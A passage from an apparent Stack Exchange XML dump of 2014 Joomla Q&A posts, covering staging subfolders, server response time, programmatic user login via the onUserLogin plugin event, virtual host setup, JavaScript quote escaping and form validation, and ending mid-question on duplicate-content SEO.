  <row Id="4146" PostTypeId="2" ParentId="4145" CreationDate="2014-08-20T20:31:39.763" Score="5" Body="&lt;p&gt;Sub folders is the best way (using a typical cpanel style install as an example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/home/account/public_html&lt;/code&gt; is the main site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/home/account/public_html/new_site&lt;/code&gt; is the new site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a .htaccess and .htpasswd (if using apache) you can block unwanted traffic to the new site, you can also use the same database with a different prefix as well (or just a use different database, less complicated to clean later).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla is great at understanding where it sits on a server, so all you need to do is go to &lt;code&gt;domain.com/new_site&lt;/code&gt; and as long as your configuration.php file is set up correctly it should load the same as the current site, and moving it later will not hurt it.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-08-20T20:31:39.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4147" PostTypeId="1" CreationDate="2014-08-20T21:35:05.463" Score="2" ViewCount="738" Body="&lt;p&gt;Our document has a very high waiting time and very low receiving time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nlKfI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get the document to start receiving earlier? &lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-08-22T01:35:31.713" Title="Is there a way to reduce document waiting time?" Tags="|seo|performance|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4148" PostTypeId="2" ParentId="4147" CreationDate="2014-08-20T22:05:20.340" Score="4" Body="&lt;p&gt;The waiting time is basically the time it takes your server to understand what it should do. When you send a request to a server, it will take time from the initial contact to when it sends its response (waiting). So the only way to speed up the waiting time is to speed up your server. Now that can be done with more then just a server upgrade though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here are some questions to ask yourself to help troubleshoot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many extensions do you have? Do some pages take longer then others? &#xA;If so what exact extensions load on those pages or are there alternatives? Is Joomla up to date? Can you test an upgrade and see if that helps (with backup ready)? Can you live with out them? Is the server taking a high load?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in all honesty for 14ish kb of data and 500ms to load it, its not lightning fast but in my opinion nothing to really worry about to much either. Although the image does not show the actual waiting time, this page totaled 320 ms with 12kb and this is stackoverflow! Not a huge difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optimizing your database and making sure your extensions are efficient is the best way to lower it without going into your actual server settings.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-08-20T22:13:06.260" LastActivityDate="2014-08-20T22:13:06.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4149" PostTypeId="1" AcceptedAnswerId="4150" CreationDate="2014-08-20T22:40:38.700" Score="6" ViewCount="3510" Body="&lt;p&gt;My requirement is something like login by Facebook, so the user does not provide password but gets logged in. I want to make a user logged in from within extension code by knowing his &lt;code&gt;user id and/or username but not password&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do that? I also tried to get user's encrypted password from database and put user name and that password in the login() method and then something went wrong, getting &lt;code&gt;username and password mismatch error&lt;/code&gt;, although logged in!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found some codes from googling - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin('user');&#xA;$options = array();&#xA;$options['action'] = 'core.login.site';&#xA;$response-&amp;gt;username = &quot;user_name_here&quot;;&#xA;$result = $app-&amp;gt;triggerEvent('onUserLogin', array((array)$response, $options));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems to work, but I don't know if there is any chance of this becoming wrong later when doing this in both 2.5 and 3.0 versions.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="22" LastEditDate="2014-08-20T22:57:24.697" LastActivityDate="2017-05-27T08:51:13.877" Title="Logging in user without getting password from them" Tags="|joomla-3.x|php|joomla-2.5|extensions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4150" PostTypeId="2" ParentId="4149" CreationDate="2014-08-20T23:00:18.867" Score="4" Body="&lt;p&gt;As far as I am aware, no piece of this is deprecated, so this code should definitely continue to function correctly in 2.5 and 3.0 installs. Even if something gets deprecated, you should be able to run this at least through version 4.0.&lt;/p&gt;&#xA;&lt;p&gt;That being said, none of these pieces is likely to get removed. You are importing the user plugins and then triggering the &lt;code&gt;onUserLogin&lt;/code&gt; event. This is the standard method to trigger plugins, so it should be consistent for a while.&lt;/p&gt;&#xA;&lt;p&gt;The only other piece to remember is that you are undermining the security of requiring a user to login with their password. Do make sure that the piece that you are using to replace that is also secure.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Update per comment&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;code&gt;triggerEvent&lt;/code&gt; call runs through the different user plugins (found at &lt;code&gt;plugins/user/&lt;/code&gt; and calls the &lt;code&gt;onUserLogin&lt;/code&gt; method if it exists. The key function is the one in the &lt;code&gt;joomla&lt;/code&gt; plugin. I'm copying the entire function below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onUserLogin($user, $options = array())&#xA;{&#xA;    $instance = $this-&amp;gt;_getUser($user, $options);&#xA;&#xA;    // If _getUser returned an error, then pass it back.&#xA;    if ($instance instanceof Exception)&#xA;    {&#xA;        return false;&#xA;    }&#xA;&#xA;    // If the user is blocked, redirect with an error&#xA;    if ($instance-&amp;gt;get('block') == 1)&#xA;    {&#xA;        $this-&amp;gt;app-&amp;gt;enqueueMessage(JText::_('JERROR_NOLOGIN_BLOCKED'), 'warning');&#xA;&#xA;        return false;&#xA;    }&#xA;&#xA;    // Authorise the user based on the group information&#xA;    if (!isset($options['group']))&#xA;    {&#xA;        $options['group'] = 'USERS';&#xA;    }&#xA;&#xA;    // Check the user can login.&#xA;    $result = $instance-&amp;gt;authorise($options['action']);&#xA;&#xA;    if (!$result)&#xA;    {&#xA;        $this-&amp;gt;app-&amp;gt;enqueueMessage(JText::_('JERROR_LOGIN_DENIED'), 'warning');&#xA;&#xA;        return false;&#xA;    }&#xA;&#xA;    // Mark the user as logged in&#xA;    $instance-&amp;gt;set('guest', 0);&#xA;&#xA;    // Register the needed session variables&#xA;    $session = JFactory::getSession();&#xA;    $session-&amp;gt;set('user', $instance);&#xA;&#xA;    // Check to see the the session already exists.&#xA;    $this-&amp;gt;app-&amp;gt;checkSession();&#xA;&#xA;    // Update the user related fields for the Joomla sessions table.&#xA;    $query = $this-&amp;gt;db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;update($this-&amp;gt;db-&amp;gt;quoteName('#__session'))&#xA;        -&amp;gt;set($this-&amp;gt;db-&amp;gt;quoteName('guest') . ' = ' . $this-&amp;gt;db-&amp;gt;quote($instance-&amp;gt;guest))&#xA;        -&amp;gt;set($this-&amp;gt;db-&amp;gt;quoteName('username') . ' = ' . $this-&amp;gt;db-&amp;gt;quote($instance-&amp;gt;username))&#xA;        -&amp;gt;set($this-&amp;gt;db-&amp;gt;quoteName('userid') . ' = ' . (int) $instance-&amp;gt;id)&#xA;        -&amp;gt;where($this-&amp;gt;db-&amp;gt;quoteName('session_id') . ' = ' . $this-&amp;gt;db-&amp;gt;quote($session-&amp;gt;getId()));&#xA;    $this-&amp;gt;db-&amp;gt;setQuery($query)-&amp;gt;execute();&#xA;&#xA;    // Hit the user last visit field&#xA;    $instance-&amp;gt;setLastVisit();&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This plugin does not check the password at all (that is done by the authentication plugins). So this mostly just checks that the user is not blocked and can login before setting the user's data into the session.&lt;/p&gt;&#xA;&lt;p&gt;That session storage is the key to showing the user as logged in. Naturally you could just use this code directly, but it would actually be way more complicated than just letting this plugin do the work of checking that the user isn't blocked, storing their information in the session, and marking the last visit time.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-08-20T23:19:59.117" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4151" PostTypeId="2" ParentId="4134" CreationDate="2014-08-20T23:40:58.327" Score="2" Body="&lt;p&gt;I would suggest&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Contact Peter from NoNumber, he's very good at responding to questions in his support forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) Uninstall and reinstall. We found that NoNumber couldn't go from 2.5 to 3 without problems, so we started uninstalling it and reinstalling it fresh. It shouldn't cause much in the way of problems, rather, we haven't found any yet, and we've done it on around 5 sites. The only thing I could think of as causing hiccups would be if you have some custom assignments in module manager, or custom templates, you might have to set those up again. Jordan tells me it depends if uninstalling wipes the database or not, but since we don't use crazy customizations in either area, we haven't noticed if this is a problem yet.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-08-20T23:40:58.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4152" PostTypeId="2" ParentId="4133" CreationDate="2014-08-21T06:28:55.820" Score="1" Body="&lt;p&gt;I started a similar discussion on LinkedIn a while ago (sorry, I can't find a link now). Apart from JCE Image Manager (already mentioned in another answer) JI Blog Tools and Forms2Content were also recommended as extensions that help simplify adding images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JCE Image Manager: &lt;a href=&quot;http://www.joomlacontenteditor.net/downloads/plugins/image-manager-extended&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlacontenteditor.net/downloads/plugins/image-manager-extended&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JI Blog Tools: &lt;a href=&quot;http://extensions.joomla.org/extensions/news-display/article-elements/articles-summary/22187&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/news-display/article-elements/articles-summary/22187&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forms2Content: &lt;a href=&quot;http://www.form2content.com&quot; rel=&quot;nofollow&quot;&gt;http://www.form2content.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-08-21T06:28:55.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4154" PostTypeId="2" ParentId="4147" CreationDate="2014-08-21T09:27:45.547" Score="0" Body="&lt;p&gt;Shared hosting package? Move your site to a better one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shared hosts must allocate server resources to the request of all sites on the server, the more accounts on the server, the longer the response time of each site. You can cache an optimise, and you should, but when there's 200 other user accounts all with multiple sites on the same physical server as yours that isn't going to make the world of difference. A better specced host will make a huge difference.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-08-21T09:27:45.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4155" PostTypeId="1" AcceptedAnswerId="4985" CreationDate="2014-08-21T09:42:41.483" Score="1" ViewCount="589" Body="&lt;p&gt;I'm using this lines to remove header scripts of Joomla I don't need it :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;&#xA;$dontInclude = array(&#xA;    '/media/jui/js/bootstrap.min.js'&#xA;);&#xA;&#xA;foreach($doc-&amp;gt;_scripts as $key =&amp;gt; $script){&#xA;    if(in_array($key, $dontInclude)){&#xA;        unset($doc-&amp;gt;_scripts[$key]);&#xA;    }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything works fine in all pages except those who point to a custom component. There is no override of head in my component and cache is disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla 3.3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;If I print the document object from my component, scripts is an empty array...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1801" LastEditorUserId="1801" LastEditDate="2014-08-21T09:51:28.187" LastActivityDate="2014-10-29T03:44:27.657" Title="Remove head script not working in custom component" Tags="|component|php|javascript|header|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4156" PostTypeId="1" AcceptedAnswerId="4157" CreationDate="2014-08-21T09:59:52.890" Score="7" ViewCount="7766" Body="&lt;p&gt;How can I set up a VirtualHost on my local developer environment? Ideally I would also like to be able to access my site from a simply URL, such as &lt;em&gt;www.joomla.loc&lt;/em&gt; rather than having to constantly use the localhost URL.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-22T09:31:02.240" Title="Virtual host for Joomla" Tags="|localhost|virtualhost|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4157" PostTypeId="2" ParentId="4156" CreationDate="2014-08-21T10:01:15.353" Score="9" Body="&lt;p&gt;In this I will explain how to set this up for &lt;strong&gt;Wampserver 2.5&lt;/strong&gt; with &lt;strong&gt;Apache 2.4+&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have downloaded, installed and started &lt;a href=&quot;http://www.wampserver.com/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wampserver&lt;/a&gt;, go to the following directory on your computer and created a new folder called &quot;&lt;strong&gt;joomla&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\wamp\www&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within your newly created folder, extract the Joomla zip file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you have your new folder with the Joomla installation in there, you now need to open the following file in a text editor, such as Notepadd++&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Windows\System32\drivers\etc\hosts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this file, add the following, which will map the localhost IP address to the defined URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.1       joomla.loc www.joomla.loc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I have 2 instances, 1 with &lt;code&gt;www&lt;/code&gt; and 1 without. If you are unable to save and are thrown a permissions error, try running your text editor on Administrator Mode, by right clicking the &lt;em&gt;.exe&lt;/em&gt; and going to &quot;Run as Administrator&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save the file, and then open the following file in your text editor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\wamp\bin\apache\apache2.4.9\conf\extra\httpd-vhosts.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add the following to the file above at the bottom:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    DocumentRoot &quot;C:/wamp/www/joomla&quot;&#xA;    ServerName joomla.loc&#xA;    &amp;lt;Directory  &quot;C:/wamp/www/joomla&quot;&amp;gt;&#xA;        AllowOverride All&#xA;        Require local&#xA;    &amp;lt;/Directory&amp;gt;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code is only for &lt;strong&gt;Apache 2.4+&lt;/strong&gt; and will &lt;strong&gt;NOT&lt;/strong&gt; work for &lt;strong&gt;Apache 2.2&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've now created your VirtualHost for your newly created folder. All you need to do now is restart Apache, by clicking the green Wampserver on your taskbar, then clicking &quot;&lt;strong&gt;Restart All Services&lt;/strong&gt;&quot; as shown in the screenshot below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1NThk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now type in &lt;code&gt;www.joomla.loc&lt;/code&gt; in your browser and install Joomla&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. Would be also nice if some people who are running other development environments such as Xampp, Lamp and Mamp could post an answer too&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-08-21T10:33:22.007" LastActivityDate="2014-08-21T10:33:22.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4158" PostTypeId="2" ParentId="4147" CreationDate="2014-08-21T10:26:00.237" Score="1" Body="&lt;p&gt;As Jordan said, improving your server speed is likely the best way to go here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are quite a number of optimizations you can do to improve your waiting time. Here are some of the server side optimizations. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use an OpCode cache.&lt;/li&gt;&#xA;&lt;li&gt;Try using NginX instead of Apache.&lt;/li&gt;&#xA;&lt;li&gt;Add an Expires or a Cache-Control Header to your content.&lt;/li&gt;&#xA;&lt;li&gt;Use a server side caching mechanism such as Redis(*See NOTE) or memcached. These are not the same as an OpCode cache (I recommend you use both).&lt;/li&gt;&#xA;&lt;li&gt;Use server side caching for your session handler(instead of Database or File).&lt;/li&gt;&#xA;&lt;li&gt;Upgrade your hardware or move to a better server (use a private dedicated server instead of a shared server).&lt;/li&gt;&#xA;&lt;li&gt;Use something like Google's Page Speed Tool to see what other&#xA;optimizations are relevant for you.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;NOTE: As far as I am aware, Redis cannot be used with Joomla versions &amp;lt; 3.4.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Joomla side of things you can&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As you mentioned, use a caching extension like JotCache. If you have server side caching then you can probably ignore this one.&lt;/li&gt;&#xA;&lt;li&gt;Use a CDN such as &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/content-networking/14438&quot; rel=&quot;nofollow&quot;&gt;CDN for Joomla&lt;/a&gt; to increase the number of concurrent downloads and to bring the download closer to the end user.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a slight chance that the page load time might be having an adverse effect on your waiting time, so&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Optimize your website by combining and minifying CSS and JS with extensions such &#xA;as &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/site-performance/12108&quot; rel=&quot;nofollow&quot;&gt;ScriptMerge&lt;/a&gt;, &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/site-performance/12088&quot; rel=&quot;nofollow&quot;&gt;JCH-Optimize&lt;/a&gt; or &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/site-performance/11545&quot; rel=&quot;nofollow&quot;&gt;Jbetelo&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure that no javascript files are blocking page load.&lt;/li&gt;&#xA;&lt;li&gt;Reduce page loading time by using sprites.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-08-22T01:35:31.713" LastActivityDate="2014-08-22T01:35:31.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4159" PostTypeId="1" CreationDate="2014-08-21T11:01:55.140" Score="3" ViewCount="1750" Body="&lt;p&gt;Iam struggeling with the situation that I have to use single quotes and double quotes in Joomla $document-&gt;addScriptDeclaration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;addScriptDeclaration('&#xA;    jQuery(document).ready(function () {&#xA;        jQuery(&quot;a[href=&quot;#location&quot;).on('shown', function (e) {&#xA;            initialize();&#xA;        });&#xA;    });&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem here is the selector which has to be usually addressed with jQuery(&quot;a[href=&quot;#location&quot;]). Now here is the situation with double quote in double quote.&#xA;Changing to single quote is not possible, because the script declaration is within single quotes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I resolve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The begin of the view is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// No direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;//JHtml::addIncludePath(JPATH_COMPONENT.'helpers/html');&#xA;JHtml::_('behavior.tooltip');&#xA;JHtml::_('behavior.formvalidation');&#xA;JHtml::_('behavior.keepalive'); &#xA;&#xA;$document = JFactory::getDocument();&#xA;&#xA;$document-&amp;gt;addScriptDeclaration('&#xA;   jQuery(document).ready(function () {&#xA;        // remove top banner manual because it is a module loaded by list&#xA;        jQuery(&quot;#top-content-banner&quot;).remove();&#xA;        jQuery(&quot;a[href=\'#location\']&quot;).on(&quot;shown&quot;, function (e) {&#xA;            alert(&quot;Hello&quot;);&#xA;        });&#xA;    });&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="463" LastEditorUserId="463" LastEditDate="2014-08-21T13:19:28.490" LastActivityDate="2014-08-21T19:04:25.303" Title="Joomla $document-&gt;addScriptDeclaration with single quote and double quote" Tags="|javascript|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4160" PostTypeId="2" ParentId="4159" CreationDate="2014-08-21T11:10:30.677" Score="3" Body="&lt;p&gt;You need to escape the quotes using backwards slashes like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// No direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;//JHtml::addIncludePath(JPATH_COMPONENT.'helpers/html');&#xA;JHtml::_('behavior.tooltip');&#xA;JHtml::_('behavior.formvalidation');&#xA;JHtml::_('behavior.keepalive'); &#xA;JHtml::_('bootstrap.framework');&#xA;&#xA;$document = JFactory::getDocument();&#xA;&#xA;$document-&amp;gt;addScriptDeclaration('&#xA;    jQuery(document).ready(function($) {&#xA;        $(&quot;a[href=\'#location\']&quot;).on(&quot;shown&quot;, function(e) {&#xA;            alert(&quot;it has worked&quot;);&#xA;        });&#xA;    }); &#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the single quotes I have added too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-08-21T13:52:19.540" LastActivityDate="2014-08-21T13:52:19.540" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="4161" PostTypeId="2" ParentId="4159" CreationDate="2014-08-21T11:20:47.723" Score="2" Body="&lt;p&gt;You can use Heredoc string like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$s = &amp;lt;&amp;lt;&amp;lt;SCRPT&#xA;    jQuery(document).ready(function () {&#xA;        jQuery(&quot;a[href='#location']&quot;).on('shown', function (e) {&#xA;            initialize();&#xA;        });&#xA;    });&#xA;SCRPT;&#xA;$document-&amp;gt;addScriptDeclaration($s);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Edit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can test it yourself. It's working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$s = &amp;lt;&amp;lt;&amp;lt;SCRPT&#xA;    jQuery(document).ready(function () {&#xA;        jQuery(&quot;a[href='#location']&quot;).on('click', function () {&#xA;            alert('Yes');&#xA;        });&#xA;    });&#xA;SCRPT;&#xA;$document-&amp;gt;addScriptDeclaration($s);&#xA;echo '&amp;lt;a href=&quot;#location&quot;&amp;gt;Click Here&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-08-21T11:55:55.593" LastActivityDate="2014-08-21T11:55:55.593" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4162" PostTypeId="2" ParentId="4156" CreationDate="2014-08-21T13:09:12.833" Score="7" Body="&lt;p&gt;Instructions for Linux OS with Apache 2+ Server:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit the file &lt;code&gt;/etc/hosts&lt;/code&gt; and add this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.1    joomla&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a &lt;code&gt;.conf&lt;/code&gt; file like &lt;code&gt;joomla.conf&lt;/code&gt; inside the &lt;code&gt;/etc/apache2/sites-enabled&lt;/code&gt; directory, then open it and add these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName joomla&#xA;    DocumentRoot /var/www/joomla&#xA;    &amp;lt;Directory /var/www/joomla&amp;gt;&#xA;        AllowOverride All&#xA;    &amp;lt;/Directory&amp;gt;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Restart the Apache server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo /etc/init.d/apache2 restart&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now type in your browser's address bar: &lt;code&gt;http://joomla&lt;/code&gt; and hit &lt;kbd&gt;Enter&lt;/kbd&gt;!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Note&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You must be a super user in order to edit the above files.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you use Geany text editor, the command would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo geany /etc/hosts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo geany /etc/apache2/sites-enabled/joomla.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-08-21T13:09:12.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4163" PostTypeId="1" CreationDate="2014-08-21T15:06:14.023" Score="3" ViewCount="892" Body="&lt;p&gt;I have a form in Chronoform where there are two checkboxes, when you select the second checkbox, a hidden DIV becomes visible. Inside this hidden DIV there are 16 more checkboxes. At least one of those checkboxes must be selected to move on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the first two checkboxes, I am using class=&quot;validate['group[1]']&quot; which works great to force the user to choose between the first two options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using class=&quot;validate['group[2]']&quot; on the checkboxes in the hidden DIV, but if the DIV remains hidden, it is still forcing the validation. So you can't move on, unless you open that DIV and select at least one option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I validate the checkboxes in the hidden DIV only if the hidden DIV is opened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the form &lt;a href=&quot;http://jsfiddle.net/melvins138/mh52effs/2/&quot; rel=&quot;nofollow&quot;&gt;on jsfiddle&lt;/a&gt;, but it's not opening like it does with Joomla and Chronoforms, so I may post a second link to a working version of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am open to using custom scripts like jQuery on the server side, if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a strong coder, so please go easy on me.&lt;/p&gt;&#xA;" OwnerUserId="1804" LastActivityDate="2014-11-19T16:12:19.077" Title="Validate Checkboxes within a Hidden DIV Only If Shown - Chronoform" Tags="|jquery|javascript|chronoforms|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4164" PostTypeId="1" AcceptedAnswerId="5541" CreationDate="2014-08-21T16:57:14.723" Score="12" ViewCount="5216" Body="&lt;p&gt;I just found out a major SEO issue and while I have solved it for the time being; I am trying to figure out why it may have occurred in the first place and if there was mistake or is it something to do with Joomla itself. First the issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I crawled a site with Moz, it showed four duplicate content for the homepage which was unexpected. So for example for the homepage &lt;a href=&quot;http://www.foo.com&quot; rel=&quot;noreferrer&quot;&gt;http://www.foo.com&lt;/a&gt; it was showing duplicate content URLs like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo.com/2-uncategorised/1-offers (canonical = foo.com/2-uncategorised/1-offers)&#xA;foo.com/2-uncategorised/2-enquiry (canonical = foo.com/2-uncategorised/2-enquiry) &#xA;foo.com/2-uncategorised/3-products (canonical = foo.com/2-uncategorised/3-products) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And all of these links were simply loading the homepage content yet the meta details were from the article. This obviously indicated that Joomla was auto creating the links and I found the same for the 4 links. The link in the article were like 